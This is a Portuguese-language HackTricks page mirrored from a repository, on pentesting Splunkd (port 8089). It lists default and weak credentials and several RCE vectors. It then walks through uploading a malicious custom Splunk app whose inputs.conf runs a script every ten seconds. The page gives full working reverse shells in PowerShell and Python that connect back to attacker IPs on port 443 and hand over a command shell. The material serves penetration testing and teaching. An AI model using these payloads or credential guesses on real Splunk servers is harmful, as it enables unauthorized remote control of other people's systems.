Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-18 17:16:10 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/8089-splunkd.md
Carlos Polop 31d14b2558 Recreating repository history for branch pt
2024-12-12 13:56:11 +01:00

6.6 KiB
Raw Blame History

8089 - Pentesting Splunkd

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Informações Básicas

  • Ferramenta de análise de logs usada para coleta, análise e visualização de dados
  • Comumente usada em monitoramento de segurança e análise de negócios
  • Portas padrão:
  • Servidor web: 8000
  • Serviço Splunkd: 8089

Vetores de Vulnerabilidade:

  1. Exploração da Versão Gratuita
  • A versão de teste se converte automaticamente em versão gratuita após 60 dias
  • A versão gratuita não possui autenticação
  • Potencial risco de segurança se não for gerenciada
  • Administradores podem ignorar implicações de segurança
  1. Fraquezas de Credenciais
  • Versões mais antigas: Credenciais padrão admin:changeme
  • Versões mais novas: Credenciais definidas durante a instalação
  • Potencial para uso de senhas fracas (por exemplo, admin, Welcome, Password123)
  1. Oportunidades de Execução Remota de Código
  • Múltiplos métodos de execução de código:
  • Aplicações Django do lado do servidor
  • Endpoints REST
  • Entradas scriptadas
  • Scripts de alerta
  • Suporte multiplataforma (Windows/Linux)
  • Entradas scriptadas podem executar:
  • Scripts Bash
  • Scripts PowerShell
  • Scripts em lote

Potencial de Exploração Chave:

  • Armazenamento de dados sensíveis
  • Falta de autenticação na versão gratuita
  • Múltiplos vetores para potencial execução remota de código
  • Possibilidade de aproveitar entradas scriptadas para comprometimento do sistema

Shodan

  • Splunk build

RCE

Criar Aplicação Personalizada

O Splunk oferece um método sofisticado para execução remota de código através da implantação de aplicações personalizadas, aproveitando suas capacidades de script multiplataforma. A técnica central de exploração gira em torno da criação de uma aplicação maliciosa que pode executar shells reversos em sistemas Windows e Linux.

Uma aplicação personalizada pode executar scripts Python, Batch, Bash ou PowerShell. Além disso, o Splunk vem com Python instalado, então mesmo em sistemas Windows você poderá executar código python.

Você pode usar este exemplo com o bin contendo exemplo para Python e PowerShell. Ou você pode criar o seu próprio.

O processo de exploração segue uma metodologia consistente entre plataformas:

splunk_shell/
├── bin        (reverse shell scripts)
└── default    (inputs.conf configuration)

O arquivo de configuração crítico inputs.conf ativa o script por:

  • Definindo disabled = 0
  • Configurando um intervalo de execução de 10 segundos
  • Definindo o tipo de fonte do script

A implantação é simples:

  1. Crie o pacote de aplicativo malicioso
  2. Configure um listener (Netcat/socat) na máquina atacante
  3. Faça o upload do aplicativo através da interface do Splunk
  4. Acione a execução automática do script após o upload

Exemplo de shell reverso do Windows PowerShell:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()

Exemplo de shell reverso Python no Linux:

import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')

RCE & Escalação de Privilégios

Na página seguinte, você pode encontrar uma explicação de como este serviço pode ser abusado para escalar privilégios e obter persistência:

{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}

Referências

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}